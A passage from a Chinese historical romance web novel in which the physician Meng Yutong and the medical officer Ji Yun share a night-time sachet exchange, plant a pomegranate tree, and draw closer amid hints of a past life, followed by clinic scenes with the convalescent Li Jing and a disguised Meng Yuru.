他此话言之有理。李璟性情乖张,若半夜醒来发现自己竟在“仇家”的地盘上,保不齐会如何闹腾。让他这位表兄留下来看顾,确是省心之法。 孟玉桐心下迅速权衡利弊,随即颔首应允:“也好。恰巧李世子隔壁尚有一间空房,虽陈设简单,却也干净。且那处在回廊尽头,更为清静,或许更合纪医官心意。” 纪昀眼中掠过一丝几不可察的淡淡笑意,点了点头,缓言道:“多谢孟大夫为纪某思虑周详。” 于是几人又一同返回照隅堂。回医馆后,众人在堂中稍作收拾,并为几位重症病患煎好夜间服用的汤药后,时辰已然不早。 屋外一弯新月高悬,夜色清冷,微风带着凉意。 明日想必又是忙碌的一日,众人便各自洗漱回房歇息。 孟玉桐也回到了自己那间小小的居室。她刚刚沐浴过,一头乌黑长发尚未完全干透,便随意披散在肩后。 白日里睡了一会儿,这会儿倒是未觉疲累,于是她便坐在窗前,点了一盏油灯,静静地看起书来。 微风透过支摘窗棂徐徐送入,带来些许凉意,窗外草丛间阵阵虫鸣渐起,交织成一片有些喧闹却又奇异地令人心安的声音。 就在这片规律的虫鸣声中,她忽然听见门外响起几声清晰的叩门声。 “哪位?”孟玉桐合上书册,起身走向门口。 门外传来一道熟悉的清冷嗓音,“孟大夫,是我。” 她将门扇拉开一小半,身子x倚在门框边。 只见纪昀独自立于门外,穿一身借来的青灰色布衫,身姿挺拔落拓,如孤松临风,看向她时,清隽的眉眼在夜色中更显疏淡出尘。 孟玉桐眼中掠过一抹极淡的讶异,她随即问道:“纪医官,可是李世子那边有何不适?” 她身着浅紫色寝衣,布料柔软,裁剪宽松,袖口与衣袂在微风中轻轻飘动,更衬得她身姿纤侬合度,恍若月下悄然绽放的紫菀,清丽脱俗。 未干的长发如一道浓墨的春瀑,自肩头倾泻而下,映衬得未施粉黛的脸庞愈发素净白皙,却别有一种动人心魄的韵致。 纪昀的目光在她身上停留了一瞬,随即移开,微微摇头:“并非李璟之事。说来惭愧,是纪某也有些择席之癖,难以入眠。冒昧打扰,不知孟大夫可否行个方便,售予纪某一枚安神香囊?” 此等小事,孟玉桐自然应允。 “纪医官请随我来。”她随手将房门带上,引着他向前堂走去。 方才开门瞬间,纪昀眼角的余光已瞥见她屋内桌案上摊开的书册,那靛蓝色的封皮他再熟悉不过。 两人并肩而行,他状似随意地问道:“孟大夫方才是在翻阅《药理》?” 孟玉桐点头,“闲来无事,便随手翻阅几页。纪老太爷医术精深,于药性药理见解独到,论述鞭辟入里,每每读之,总觉受益匪浅,豁然开朗。” 她语气真诚,带着由衷的钦佩,“相较之下,我所知不过皮毛,尚有诸多疑难待解,需潜心学习之处甚多。” 纪昀闻言,唇角微弯,露出一抹极淡却真实的赞许笑意:“孟大夫过谦了。以你的天资与悟性,早已远超同侪。假以时日,积累日丰,或许亦能如祖父一般,著书立说,将自身心得惠泽杏林,让‘孟玉桐’三字,亦能响彻医坛。” 孟玉桐心尖仿佛被什么东西轻轻撞了一下,‘著书立说’四个字,倏然让她心神一荡。 她从未敢如此设想未来,能将照隅堂开起来,瞧着它日渐步入正轨,她已十分欣慰。她只想着好好经营医馆,来年在官册选拔名单上进入前十,便是她最大的心愿了。 可方才纪昀随口一说,竟给了她新的想法。 若她也能将毕生所学、所悟编纂成册,传于后世,济世救人,那该是何等幸事! 一股热望悄然涌起,让她心跳都漏了一拍。 然而,这念头只是一闪,便被理智压下。她行医时日尚短,经验阅历仍需积累沉淀,著书立说乃大家所为,绝非现今的她可以轻易企及。 短短几步路间,她心中已是百转千回。 说话间,两人已行至前堂。 孟玉桐走入柜台后,俯身从下方取出一只竹编箩筐,放在柜面上。近日馆中忙于诊治腹泻病患,香囊之类不甚急迫的物件便让白芷收起,暂置于此。 她看向站在柜台外的纪昀,将箩筐朝他轻轻推去,里面各式花色、绣工的香囊堆叠在一起:“纪医官,请随意挑选。” 纪昀上前一步,目光在那一片姹紫嫣红中扫过,眼中罕见地流露出一丝极淡的苦恼。 他复又抬眼看向孟玉桐,语气自然地道:“花色繁多,令人目眩。不知可否劳烦孟大夫,替纪某挑选一只?” “纪医官偏好何种颜色?”孟玉桐一边问,一边伸手在箩筐中翻拣。 纪昀静静注视着她的动作。 瞧见她微低着头,长而密的眼睫如蝶翼般安静垂落,在眼下投出一小片柔和的阴影,偶尔随着翻找的动作轻轻颤动,像一只灵秀的蝶。 他眼中闪过一丝淡淡的波澜,似乎只是随意地看着,口中漫不经心地答道: “紫色。” 孟玉桐翻找的动作不停,继续问:“花色呢?纪医官喜欢何种花样?” 箩筐中的香囊皆是精心绣制,花色繁多,布料考究,绣工细腻,鸟兽虫鱼、花卉祥纹无不栩栩如生。 唯有一只,混在其中显得格格不入。 那是素白的云锦缎面,上头用紫色丝线歪歪扭扭地绣了个图案,勉强能看出有两只不对称的翅膀,似乎是一只……蝴蝶? 针脚生涩,形态稚拙,显然是个半成品。 纪昀的目光在那只独特的香囊上停留片刻,仔细辨认着,忽然问道:“这些香囊,都是白芷姑娘的手笔?” 孟玉桐点点头,语气带着对白芷的肯定:“白芷心思巧,绣工好,手脚也麻利,馆里售卖的香囊都是她绣的。” 纪昀闻言,似是了然,微微颔首。他修长的手指抬起,在那只被孟玉桐拨弄到一边的半成品香囊上点了点,语气中似乎带上一两分兴味,“就这只吧。” 第66章 第66章他和孟玉桐,难道有过从…… 孟玉桐动作一顿,随即抬起头来,眼中似乎带了些难以置信,又似在质疑他的品味,“不瞒纪医官,这只是我闲暇时胡乱绣的,手艺拙劣,本就不打算售卖,只是混放在此处……” 纪昀却忽然轻笑出声。 他极少这样笑,平日里冰封般的冷峻气息一瞬消融,唇角弯起的弧度柔和了面部凌厉的线条,眼底眸光清亮温雅,焕发出一种与平日截然不同的温润气质,甚至透出几分难得的、属于他这个年纪应有的清朗意气。 “纪某觉得这只便很好,”他面不改色,语气诚挚地夸赞道,“色泽清雅,形态别致,颇有几分野趣天真,胜过那些匠气过重的精巧之物。” 说着,他极其自然地向孟玉桐伸出手掌,见她仍迟疑着不肯动作,不由失笑:“怎么,孟大夫该不是不舍得割爱吧?” 孟玉桐的视线落在那只‘半成品’香囊上。 这只香囊,本是她想绣给小雪的。 那日在济安堂中见她独自一人,比着手势效仿蝴蝶,她便心生恻隐,想送她个小玩意儿。奈何自己于女红一道实在欠缺天赋,即便白芷手把手地教,最终也只成就了这“四不像”的模样。 说出去,只怕没人知道她绣的是一只蝴蝶。 也罢,这东西左右已经绣废了,既然纪昀品味如此清奇,就给他吧。 想了想,孟玉桐不再犹豫,从筐底拾起那只蝴蝶香囊,放在了纪昀摊开的掌心里。 上好的云锦料子触感细腻温凉,落在掌心,软绵绵的,像握住了一小片柔和的月光,又似拢住了一团轻暖的流云。 纪昀缓缓收拢手心,那团流云便被他轻轻握在了掌心。 眼前场景莫名让他想起母亲寿宴之时,在纪府庭院,两人之间也曾有过一次香囊的递交。 只是那时,她从他手中接过香囊时,只小心翼翼地捏着系带末端,仿佛生怕沾染到他半分。 而此刻,她将香囊放入他手中时,只是随意地握着香囊,姿态放松自然。 他收手的速度快了些,指尖堪堪与她微凉的指尖一擦而过,只留下一阵细微而清晰的、如同羽毛拂过般的痒意,自指尖迅速窜入心尖。 纪昀不动声色地捻了捻指尖,随即自然地低头,将那只略显“抽象”的紫色蝴蝶香囊系在了自己的腰绦上。 他垂眸系带的动作专注而和缓,唇角似乎还噙着一丝弧度,周身那股生人勿近的冷冽气息都仿佛柔和了许多,显是心情颇佳。 接着,他伸手探入袖中摸索,面上适时地露出几分恰到好处的懊恼:“孟大夫,实在抱歉,纪某今日出门似乎未曾携带银钱。待明日云舟过来,我再让他将银钱结算与你。” 孟玉桐正将筐中其他香囊收拾起来,闻言摇头:“不必了。这本就是绣坏了的练手之作,不值什么,纪医官不嫌弃,拿去便是。” “如此,那便多谢孟大夫慷慨赠囊了。”纪昀从善如流,不再坚持,十分自然地接受了这份馈赠。 两人离开前堂,步入静谧的小院。 纪昀将孟玉桐送至她位于东北角的屋门口。 两人经过此处时,只见小院东北墙角下,赫然放着一棵被黑色厚布仔细包裹着的小树,体积颇大,在夜色中十分显眼。 纪昀目光落在那树上,瞧见黑布下露出的经干土块已经微微发干,于是出声提醒:“这树苗可是要栽种的?一直放置在此处,既占地方,夜间行走也易绊倒,孟大夫还需小心些。” 孟玉桐点头解释道:“这是一棵石榴树,原是吴林先生的意思。他说药房灶火不息,五行火气稍旺,建议在院中西南方位植一株石榴,取其木能生火亦能克土之意,调和院内阴阳之气。这树苗送来两日了,只是近日馆中事务繁杂,实在抽不出空来打理,便暂且搁置在此了。” “瞧着叶片已有些发蔫卷曲,若x再不及时栽种,只怕难以成活。”纪昀观察着露出的些许叶片说道。 孟玉桐拢了拢衣袖,也仔细观察着那棵躺着的小树,语气听来有几分无奈,“本想当时便雇人栽下,偏偏吴林先生坚持说此类关乎风水布局之物,需得亲手栽种方显诚心,沾染了外人气息反而不美。偏偏这几日实在事多,我一时也忘了……” 她话未说完,便听纪昀淡然接话道:“择日不如撞日,孟大夫若信得过,此事便交由纪某吧。烦请取来栽种所需的用具即可。” 孟玉桐闻言,认真看向他:“栽树种花看似简单,实则也是力气活。纪医官文质彬彬,此等粗重活计,只怕……还是明日等刘大哥他们来了,再做打算吧。” 她话语委婉,意思却明白。不过是看他这般清贵模样,不像是能干这种粗活的人。 世间男子,大多有几分虚荣好胜之心,存着几分不愿被看轻的意气,尤其在涉及男子气概相关的事情上。 就连纪昀这般看似超然物外的清贵公子,也不能免俗。 他闻言,唇角微扬,脸上竟难得显现出几分明朗的锐气,“孟大夫多虑了。昔日纪某在医官院轮值,曾接诊过一位体重逾两百斤、瘫痪在床无法自主翻身的病患。每日为其施针艾灸,需数次助其翻身擦拭,皆由纪某一力完成。相较之下,栽种一株石榴树,在纪某看来,实在算不得什么粗重活计。” 见他如此说,孟玉桐自然不再多言。她转身进入一旁的杂物间,很快取来了栽种所需的铁锹、锄头和水桶。 待她出来时,纪昀已轻松地将那棵不小的石榴树苗搬到了院子西南角他选定的位置。 他甚至还仔细比照了一下孟玉桐卧房窗户的方位,稍稍调整,才最终将树苗放下。 选定位置后,纪昀接过孟玉桐递来的铁锹,动作利落地开始挖掘树坑。他下锹精准,力道均匀,很快便挖出一个深浅合宜的树坑。 随即他小心地将石榴树苗放入坑中,扶正树干,然后开始将挖出的土壤回填,并用脚轻轻将泥土踩实。 整个过程有条不紊,熟练得不像个终日与笔墨药石为伴的文雅医官。约莫半个多时辰后,石榴树已稳稳地立在了院中。 孟玉桐在一旁瞧着,有时想出些力,可似乎并没有需要她帮忙的地方,便只能安静在一旁看着。 栽好的石榴树枝干之前为了运输方便,被麻绳紧密地捆缚着。此时需将绳索解开,让枝叶舒展。 孟玉桐见状上前两步,停在纪昀身前。她伸手探向石榴树树干,两指捏住那个被雨水浸泡后又干透变得紧硬的绳结,用力试图解开,试了几次,那绳结却纹丝不动。 纪昀拍了拍手上的泥土,从她身后自然地靠近。他的身影几乎将她笼罩,带着刚干完活后的淡淡热意和一丝清冽的药草气息。 他伸出手,温热的指尖覆上她捏着的绳结,捏住那个死结的紧要处,微微用力—— “啪嗒”一声轻响,紧缚的绳结终于在两人指尖的合力下应声而开。 随着麻绳倏然一松,那原先被紧紧束缚的石榴树枝,‘呼啦’一下四散而开。 离得近的那几支,挟着风声,直直朝着孟玉桐的面门扫来。 “小心!” 紧要关头,纪昀反应极快,他一把拉住孟玉桐的手腕,力道迅疾地向后一带,将她整个人揽入自己怀中,险险避开了那几根凌厉的枝条。 耳边枝条猛然向外弹开,带来几道刺耳的破风之声,然而意料之中的疼痛并未到来。 孟玉桐低呼一声,后背便撞入了一个温热而坚实的怀抱。 她的后背紧贴着纪昀的胸膛,甚至能感受到其下传来的稍显急促的心跳声,一声声,敲击在她的耳膜,与她瞬间失控的心跳混在一起,分不清彼此。 他握着她手腕的掌心温热干燥,那温度透过薄薄的寝衣料子,竟似毫无阻隔般,清晰地传递过来。 空气中弥漫着新翻泥土的湿润气息、石榴枝叶断裂处散发的淡淡青涩之气,以及他身上那股挥之不去的、清冷的带着点苦味的药香,种种气息交织,竟让人呼吸微微一滞,头脑有片刻的空白。 纪昀的下颌几乎要碰到她的发顶,熟悉的带着薄荷叶气味的微凉馨香一瞬间将他环绕。 丝丝缕缕,无孔不入。 方才是情急之下不得已的动作,本就有失体统,他本该立刻松开手,后退一步。 可怀中的温软,以及这萦绕鼻端的熟悉气息,却带来一种诡异的、镌刻入骨般的熟稔感,让他环着孟玉桐的手臂几乎僵住,一时难以动弹。 他的心跳渐渐失序,脑中不受控制地闪过一些支离破碎、光怪陆离的画面……恍惚间,似乎也曾有个女子……他们似乎也曾这般亲密无间,他似乎也曾从那人发间颈侧,嗅到过一模一样的、令他心魂微颤的淡香…… 思绪如潮水般纷乱涌来,他的呼吸不由自主地加重。 孟玉桐率先反应过来,像是被烫到一般,猛地从他怀里弹开,脚步踉跄了一下才站稳,“纪医官,多谢,我无事了。” 纪昀静静看着她,看着她眼下的小痣,看着她那双漆黑的,和梦境中相似的眼,那双似有万语千言,却欲诉还休的眼。 究竟为何会如此熟悉? 心中莫名升起的这悸动又从何而来? “纪医官,你没事吧?”孟玉桐见他神色恍惚,似有心事,不由出声询问,语气带着一丝疑虑。 纪昀猛地回神,像是才反应过来,也立刻向后退了半步,重新拉开一个较为妥帖的距离。 他喉结微动,声音比平日更显低沉:“无事。方才多有冒犯,孟大夫可还好?” “不要紧,我也无事。” 她的声音姿态,一如既往落落大方。 可他自己的耳根却不受控制地泛起热意。 他呼吸微滞。 气氛一时有些尴尬。两人都下意识地避开对方的视线。 “时辰不早,树已种好,纪医官早些休息。”孟玉桐率先打破沉默。 “你也早些安歇。”纪昀低声回应,目光落在新栽的石榴树上,并未看她。 孟玉桐转身欲回房间。 “孟大夫。”纪昀忽然又叫住她。 孟玉桐脚步一顿,疑惑回首。 月光下,纪昀静静立于新栽的石榴树旁,清隽的身影被月色勾勒得格外清晰。 他看着她,目光深不见底,仿佛下了某种决心,缓声道:“日后……孟大夫可否不必再唤我‘纪医官’?” 孟玉桐微怔,一时未能明白其意:“那该唤什么?” “既已是朋友,互称姓名即可。孟大夫唤我‘纪昀’。纪某也唤孟大夫姓名。”他答道,语气平静自然。 ‘纪医官’或是‘纪昀’,在她看来,并没有什么区别。 孟玉桐看着他,迟疑片刻,终究还是点了点头:“好。” 纪昀闻言,唇角缓缓勾起一抹极浅的笑意。 那笑容不同于以往的冷淡疏离,在皎洁月华与廊下朦胧灯火的交织映衬下,竟似冰雪初融,春水微漾,带着一种难以言喻的、近乎蛊惑人心的温柔力量。 他轻声道:“早些休息,玉桐。” “玉桐”二字从他口中唤出,低沉而清晰,带着一种陌生的亲昵感,却让孟玉桐微微一震。 孟玉桐彻底愣在原地,待她回过神时,只见那道清瘦挺拔身影已然转身,步履从容地消失在了回廊的阴影之中。 唯余院落中新栽的石榴树苗在夜风中轻轻摇曳,以及她耳边仿佛还在回荡的那声“玉桐”。 纪昀是不是疯了? 她只允他唤她姓名,可没说可以直接唤她的名。 他何时变得如此无赖了 纪昀步入二层回廊,朝着左边尽头的那间屋子走去。踏上二楼之后,他的脚步似乎失去了方才在院中的那份从容,不由自主地加快了几分,直至推开房门,闪身而入,反手将门扉紧紧合上,心跳声渐重。 他近来总觉得古怪。 先是孟玉桐变了性子,对他带上敌意,然后是母亲突如其来的转变,渐渐的,连他自己也变得不对劲起来。 总会做些古怪的梦,脑子里忽然闪现不属于自己的古怪的记忆。 可若说那记忆与自己没有分毫关系,似乎又不是如此。比如方才,他有一瞬间清晰看见,记忆中的那人就是他自己。 他也如今日这般,怀中紧紧抱着一个女子。那画面中,他好似生了病,躺在床上。 有个女子为他煎药,喂药,日日陪在他榻前。 她似乎累极了,竟和衣侧x卧在他榻边一角睡着了。 他意识模糊间转醒,竟不由自主地从身后伸出手,轻轻将她拢进自己怀里…… 那女子身上,有同孟玉桐一样的味道…… 他闭上眼,眼前又一次浮现出那双透过宣纸静静凝望他的、含愁带怯的明眸。 “我梦见孟姐姐嫁给了你,成了我的嫂嫂!”纪明惊惶的哭喊声蓦地再次响彻耳畔。 他和孟玉桐,难道有过从前 既然不是现实中发生过的事情,难道是……上一辈子发生的事 这念头荒诞不经,骤然冒出,连他自己都被惊得一震。 他缓步走回床边,和衣躺下,解下腰间那只绣工拙朴的紫色蝴蝶香囊,又自怀中取出另一只杏黄色、绣着雄鹰展翅图案的旧香囊。 他将两只香囊并排放在枕边,清浅舒缓的安神香气交织萦绕,他混乱的心绪渐得几分喘息。 无论如何,他必须要弄清楚,他与孟玉桐之间,究竟发生了什么。 第67章 第67章她心肠还怪好的。 清晨,熹微的晨光透过支摘窗棂,悄然漫入屋内。檐外鸟鸣清脆,声声入耳,带着几分勃勃生机。 微凉的风自二层回廊徐徐吹拂而入,轻轻搅动着室内略显沉闷的空气,捎来些许院中草木的清新气息。 李璟迷迷糊糊地睁开眼,茫然四顾,发现自己竟身处一个十分陌生简陋的环境。 屋内陈设极其简单,仅有一桌一椅,木质粗糙,样式古旧。 身下床榻窄小,铺着素净却浆洗得发硬的布衾。空气中弥漫着一股浓重苦涩的药味,其间还混杂着一丝若有若无的酸腐臭味。 他挣扎着坐起身子,只觉头脑昏沉,腹中空瘪,隐隐约约还觉得屁股处传来一阵莫名的疼痛。他下意识地揉了揉,神情愈发茫然,开口唤道:“石宇?石宇!” 石宇正在楼下小厨房盯着药炉,刚将煎好的汤药倒入碗中,便听得楼上呼唤,连忙捧着药碗快步上楼,推门而入,一见李璟坐起,顿时喜形于色:“世子!您可算清醒过来了!” 李璟是昨日被送来照隅堂的。因突发高热,腹泻不止,意识昏沉,大部分时间都瘫在榻上昏睡。偶尔挣扎起身,也是腹痛如绞,强撑着去方便,自己亦是浑浑噩噩,此刻醒来,对昨日种种竟记忆模糊。 石宇忙解释道:“世子,您前日从外头回来,定是贪嘴吃了街上摊子不干净的饮子,这才吃坏了肚子,染上急症。王妃心急如焚,特意请了纪医官过府诊治。 “纪医官说您这是痢疾重症,寻常汤药难见速效,需得送来这照隅堂诊治。昨日晌午,小的便和云舟一同将您送来了此处安置。万幸这医馆的孟大夫备有对症的奇药,小的给您连服了三帖,如今总算见您清醒了!” 他边说边将手中温热的药碗递到李璟手边,“世子,您趁热把这帖药也喝了吧。” 李璟皱了皱眉,看向自己的侍从,脸上写满了难以置信:“你说哪儿?照隅堂?”他怀疑自己听错了。 石宇笃定地点头:“正是照隅堂,孟玉桐孟大夫的医馆。昨日是纪医官亲自将您送来的,他昨夜也宿在此处看顾您呢!” 李璟目光再次在这简陋的屋子里扫视了一圈,脸上的表情瞬息万变,惊疑、错愕、最终化为一种难以言喻的复杂神色,眉头跳了几跳。 他索性不再多问,一把接过药碗,仰头猛地将那深褐色的药汁灌了下去。霎时间,一股难以形容的极致苦味充斥口腔,直冲天灵盖,激得他一个哆嗦,这才彻底清醒过来,接受了眼前这不可思议的现实。 她……她竟然愿意让他留在照隅堂诊治…… 她心肠还怪好的。 “我在这儿养病的这两日,她……可有来看过我?”李璟缓过那阵苦劲,脸上带着一丝不易察觉的期待,望向石宇。 “自然来了!”石宇立刻点头。 李璟脸上瞬间闪过一抹明显的喜色。 石宇接着补充道:“纪医官昨日来了两趟,今晨天刚亮又来探视了一回,细细问了世子的情况,很是关心呢,嘱咐小的一定要仔细照料着。” 那一抹刚起的喜色很快化作一记白眼,凉飕飕地扫向石宇。“你这蠢材!我问的是我表兄吗?他关心我,我能不知道?” 李璟气得肝疼,又觉得跟这榆木疙瘩细说纯属浪费唇舌,便没好气地挪动身子向后一靠,故意摆出一副漫不经心的样子,“我是问这照隅堂的孟大夫。” 石宇眨巴着眼,一脸懵懂:“孟大夫?她怎么了?” 李璟气得抬脚便踹了他一下,又因为动作太大,引动了自己的身子,觉得屁股下一阵子火辣辣的痛意。 他捂着屁股龇牙咧嘴地靠回枕上,一脸恨铁不成钢:“小爷问的是,孟玉桐!她有没有来看过我?!” 石宇捂着无辜受袭的腿,忙不迭地回答:“回世子爷,孟大夫昨日确实来看过您,还特意问了您的病情,见您安稳睡着,她才离开的。” 听了这话,李璟的脸色才由阴转晴,好看了一些。他又追问:“那她现在人在楼下坐诊?” 石宇点头称是。 李璟闻言,下意识便要掀被下床。他才一动弹,石宇便慌忙上前阻拦:“世子爷,您这病还没好利索呢,这是要往哪儿去?” “起开!”李璟不耐烦地推开他,“小爷我下去透透气,这屋里闷得慌,尽是药味儿!” 石宇又想起一事,忙道:“王妃吩咐过,世子爷若是能下地了,还是回府休养为好。这小小医馆,人来人往,鱼龙混杂的,您定然住不习惯。您如今既已退烧,不如过会儿咱们就回府去吧,也省得王妃在府中日夜悬心。” “不回!”李璟横了他一眼,语气斩钉截铁,“你敢回去在我母亲面前多一句嘴,仔细你的腿!” 说罢,他整了整略显凌乱的衣袍,强撑着那股虚弱的劲儿,做出一副雄赳赳气昂昂的姿态,推门而出,径直朝着楼下走去。 此时时辰还早,天光初透,医馆尚未开启门户,然而小院之中已是人影绰绰,众人早早便开始了一日的忙碌。 白芷与吴明正将药房内的存药一一取出,仔细铺陈在院中的竹簸箕上晾晒。另一侧,孟玉桐正俯身于药房背面的小圃间,悉心为几株珍贵的紫雪参浇水松土。 大堂那一头传来熟悉的人声,刘思钧与崔大几人自外头归来,手中提着刚从街市买来的朝食:几大包热气腾腾的包子与馒头,香气四溢。 他们将食物置于院中一方石桌之上,扬声招呼众人先用早饭。 众人闻言,纷纷暂歇手中活计,围拢过去。 “桐桐,莫要忙了,快些过来先用些吃食!”刘思钧见孟玉桐仍未动身,便大步流星地走近,极其自然地从她手中接过水瓢与小锄,轻轻推着她的肩往石桌方向带,“这儿交给我,你先去。” 孟玉桐细心嘱咐道:“水量需节制,略润湿表层土壤即可,万不可过多。” “放心,我省得。”刘思钧爽快应下,动作熟稔地接手照料起那几株参苗。 孟玉桐这才转身,自墙角荫蔽处走出。不料刚行两步,便瞥见楼梯口处隐着一道身影。 那人身着宝绿色锦缎长衫,半个身子掩在墙角的暗影里,正探头探脑地朝院中张望,似在寻觅什么。 孟玉桐缓步上前,温声开口:“李世子,身子可大安了?” 李璟全然未料到她会忽然自身后出现,惊得一个激灵,猛地转过身来。 待看清是孟玉桐,他愣了一瞬,张了张嘴,话到嘴边却支吾起来,最终只挤出一句:“我……我是下来寻纪昀的。” 孟玉桐了然,耐心解释道:“医官院中还有要务,纪医官一早便匆匆离去了。世子若是不急,可先在房中歇息,约莫午间他便该回了。” 李璟闻言,似是暗暗松了口气,语气也松懈下来:“那……倒也不是甚急事。我不过是随口一问。” “姑娘,早饭快凉了,您快些来用些吧!”白芷在那头扬声道。 孟玉桐应了一声。 院内弥漫着包子的诱人香气,李璟的目光不由自主地飘向石桌,喉结微动,悄悄咽了下口水。 孟玉桐将他这小动作看在眼里,询问道:“世子病了两日,想必未曾好生进食。可要一同用些?” “我…其实并不太饿。”李璟瞥了眼石桌旁那几个身形魁梧的秦州汉子,下意识便想起上回被崔大像拎小鸡般轻松制住的屈辱记忆,心下发怵。虽腹中空空,却一时不敢上前。 “世子肠胃初愈,这x些油腻之物确实不宜多用。”孟玉桐从善如流,语气依旧温和却带着淡淡的疏离,“一会儿我让人单独送碗清淡的白粥去您房中。” 语毕,她便微微颔首,转身走向那热闹的石桌。 李璟僵在原地,徒劳地张了张嘴,却不知该以何种理由唤住她。 他有些懊丧地垂下了头。她方才言语虽客气,却分明透着冷淡。她是不是……仍有些厌烦自己? 可细想起来,自己先前确也做过不少混账事,她若厌弃,似乎也是理所应当。 真是烦! 那头孟玉桐已安然落座,与众人一同用饭,言笑晏晏,气氛融洽而温暖。 唯独他缩在这角落,进退维谷。若在平日,他早就一甩袖子回他那宽敞舒适的王府去了,他的屋子又大,他的床又软,他想吃什么没有? 何至于在此处看人脸色、闻这药味! 石宇不知何时也已溜下楼来,从楼梯扶手边探出脑袋,小心翼翼地提议:“世子,要不……咱们还是回府吧?” “谁问你了?”李璟正自烦闷,闻言立刻将一腔无名火迁怒于他,衣袖一甩,冷冷睨了他一眼,旋即噔噔噔地转身快步上楼,回了那间充斥着怪味的客房。 石宇愣在原地。 他家世子从来身娇体贵,没吃过苦,这医馆怎么能比得上府中的环境?也不知他这是怎么了,既已能下床走动,还赖着不回去,在这里呆着做什么? 想不明白。 石宇只得无奈地叹了口气,快步跟了上去。 李璟回屋后,白芷小声地凑到孟玉桐跟前,“姑娘,那个李世子什么时候走啊?” 孟玉桐:“约莫这两日就会离开吧,他养尊处优惯了,此处大概是住不惯的。” 白芷撇撇嘴。 “怎么了?”孟玉桐被她的表情逗乐。 “他的肠胃的确是差,隔壁的王老伯都没有他那么能上茅房。我都瞧见他那侍从昨日倒了一次恭桶,今日早晨又倒了一次。” “白芷!我们在吃饭呢!”吴明拿起一只包子塞进她嘴里。 孟玉桐亦是一笑:“人都是会生病的,这也怪不得他。” 第68章 第68章容颜有损? 用过早饭,时间才刚过辰时,众人收拾妥帖后,照隅堂准时开门接诊。 崔大成才将门闩取下,外头候着的病患便如潮水般涌了进来,他被这股人流推得连连后退,赶忙扬声维持秩序:“各位多包涵,莫要拥挤,按次序来,都能瞧上病!” 不过转瞬之间,医馆内便已摩肩接踵。孟玉桐抬眸望去,只见黑压压一片人群,大多面色不佳,以手捂腹,显又是为腹泻之症而来。今日这人数,较之昨日竟是有增无减。 她心下暗忖,今日怕又是一场硬仗。昨日幸有纪昀在旁相助,分担了不少诊务,方能于晚七时便结束。 瞧眼下这光景,恐怕得忙到亥时去了。她暗暗吸了口气,凝神静气,对面前第一位病患温言道:“请伸手。” 指腹刚搭上脉息,凝神细辨之际,忽听得候诊人群之中传来一阵骚动。 “分明是我先来的!方才在外头排队时,你明明在我后头,怎的大门一开,你反倒挤到我前头来了?”一道略显尖锐的女声响起。 “那是我家老娘在替我占着位置!再说了,谁挤你了?我本就站在这儿!”另一道洪亮的嗓音毫不相让地顶了回去。 似是因排队次序起了争执。 吴明闻声,赶忙挤进人群,将两人隔开。只见前头是位身着粉色衫裙的姑娘,头戴帷帽,面覆轻纱,将自己遮掩得严严实实,说话声音又尖又细。 后头则是位体格壮实的大娘,嗓门嘹亮:“插队还有理了?裹成这副模样,是多见不得人?” 吴明笑呵呵地拉住后头那位大娘的手臂,打圆场道:“两位姐姐,消消气,消消气!我们孟大夫看诊很快的,稍待片刻便轮到您二位了。大家都是来看病的,莫要动了肝火,于身体无益啊!” 白芷也赶忙疏散开周边看热闹的人群,倒了两杯温水递过来,柔声劝慰:“是呀,别看人多,孟大夫看得快,且仔细着呢,两位稍安勿躁,很快便好。” 前头那粉衣女子见馆中伙计只忙着安抚那位大娘,不由轻蔑地哼了一声:“看得快?谁知道有没有仔细瞧呢?该不会是敷衍了事,徒有虚名罢!” 白芷柳眉一竖,正要反驳,她身旁那大娘却抢先开了口,声音洪亮:“你不想看就赶紧走!在这儿嚼什么舌根?你不就是冲着照隅堂价钱公道、名声好才来的?倒在这儿摆起谱来了!有本事你去济世堂,去御街上那些大门脸医馆去啊,保管把你伺候得舒舒服服的!” “你……!”粉衣女子被噎得一时语塞,声音愈发尖利。 白芷与吴明悄悄交换了一个眼神,暗自给这位仗义执言的大娘竖了个大拇指,并未立刻出言相劝。 周围候诊的病患本就因身体不适而心烦意乱,见这女子还要无理取闹,纷纷出言指责: “少说两句吧,大家都等着呢!” “瞧这中气十足的模样,哪像有病的?” 粉衣女子被众人说得面红耳赤,终究咬牙跺了跺脚,扭过身子不再作声了。 见风波平息,白芷与吴明这才退回药柜前,继续忙碌。 孟玉桐看诊速度极快,却又高效精准,诊脉、问询、开方,如行云流水。不到一个时辰,原先排在队尾的人也已渐次前移。 刚偏头同刘思钧说完上一例病患的药方,孟玉桐便嗅到一阵颇为熟悉的、略带甜腻的香风。她抬眸,只见对面凳子上已坐了那位粉衣女子,正是方才与人争执的那位。 “姑娘,请伸手。”孟玉桐面色如常,并未因先前之事有何异样,例行公事般准备为她诊脉。 那女子似乎有些紧绷,磨蹭了片刻,才慢吞吞地撩起衣袖,将手腕搁在脉枕之上。只是动作间,帷帽轻纱微动,隐约露出一小截尖俏白皙的下巴。 她自己也察觉了,立刻伸手将帽檐压得更低些,不安地左右瞟了两眼,这才重新伸出手。 孟玉桐从她带着篱帽的脸上扫过,只一瞬,她似有若无地极轻地笑了一声。 她旋即垂眸,纤指轻轻搭上女子腕间脉搏。 随即,她缓缓抬起头,神色端凝,语气沉静凝重:“姑娘,依您的脉象来看,确是染了时下城中流行的腹泻之症。然您这病症却与旁人有所不同,邪气郁于阳明经,上攻头面。又因您极爱动怒动气,故而引得邪火更甚。若不及早对症施治,妥善调理,恐有容颜受损之虞。” “容颜受损?!”那女子一听,惊得身子骤然僵直,连那把刻意捏着的嗓子也忘了伪装,失声叫了出来,“你休要胡言吓唬人!我、我不过是闹了两次肚子,怎会……怎会牵连到我的脸面?!” 那声音带几分天真纯然,细听之下,又有几分尖利刻薄。 是孟玉柔没错。 连一旁正在抓药的白芷也瞬间听了出来,惊得手中药戥子一顿,猛地抬头看向孟玉桐,嘴巴张得老大。 孟玉桐却只是微微一笑,冲白芷几不可察地摇了摇头,示意她稍安勿躁。 孟玉柔隔着轻纱,见孟玉桐唇角竟漾开一丝笑意,那笑容在她此刻看来,莫名带着几分令人毛骨悚然的意味。 她心中顿时警铃大作。好端端的,她笑什么?莫非是识破了自己的身份,存心要加害于己?方才那番危言耸听,难道竟是真的?当真会损及她的容貌? 她又想起前日,母亲秦姨娘不知从何处为她寻来一个养颜古方,亲手熬了一碗浓稠汤水,叮嘱她日日服用,信誓旦旦保证能令肌肤白皙胜雪,容光焕发,青春常驻。她素来最听母亲的话,当即便将那一碗汤药饮得一滴不剩。 